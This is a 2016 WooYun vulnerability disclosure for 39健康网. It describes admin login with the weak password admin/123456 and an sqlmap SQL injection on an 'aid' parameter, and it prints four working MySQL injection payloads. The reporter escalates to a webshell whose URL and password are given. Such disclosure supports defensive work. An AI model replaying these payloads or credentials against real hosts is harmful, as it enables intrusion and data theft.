当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170327

漏洞标题:39健康网某处SQL注入导致某服务器getshell

相关厂商:39健康网

漏洞作者: 90Snake

提交时间:2016-01-16 12:25

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-16: 细节已通知厂商并且等待厂商处理中
2016-01-18: 厂商已经确认,细节仅向厂商公开
2016-01-28: 细节向核心白帽子及相关领域专家公开
2016-02-07: 细节向普通白帽子公开
2016-02-17: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

getshell

详细说明:

http://106.3.36.125/dgws/
弱口令
账号admin 密码 123456进入后台

01.jpg


然后找到一处注入
http://106.3.36.125/dgws/home/appointment/newapp?aid=426
直接丢入SQLmap

sqlmap.py -u"http://106.3.36.125/dgws/home/appointment/newapp?aid=
426" --cookie="PHPSESSID=43rfrqi3i9i311ohmrh1ecjrm2" --is-dba


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: aid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: aid=426' AND 1870=1870 AND 'ahYx'='ahYx
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: aid=426' AND (SELECT 2724 FROM(SELECT COUNT(*),CONCAT(0x7170627a71,(SELEC
T (ELT(2724=2724,1))),0x717a786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTE
R_SETS GROUP BY x)a) AND 'GsVR'='GsVR
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: aid=426';(SELECT * FROM (SELECT(SLEEP(5)))JcBe)#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: aid=426' AND (SELECT * FROM (SELECT(SLEEP(5)))kryP) AND 'nOEp'='nOEp
---
[10:04:53] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.4
back-end DBMS: MySQL 5.0
[10:04:53] [INFO] testing if current user is DBA
[10:04:53] [INFO] fetching current user
[10:04:53] [INFO] resumed: root@%
current user is DBA: True


看了一眼,是DBA用户,应该可以写shell 于是--os-shell,找了一下路径
http://106.3.36.125/phpinfo.php
正好看见有一个info泄露,开始写Shell

02.png


发现写不进去,于是用外部链接数据库编码写shell

04.jpg


03.jpg


成功拿到shell
http://106.3.36.125/phpinfoxxxaas.php
xa21

漏洞证明:

05.jpg

修复方案:

修改弱口令密码
过滤注入
求20Rank

版权声明:转载请注明来源 90Snake@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-01-18 09:16

厂商回复:

测试环境

最新状态:

暂无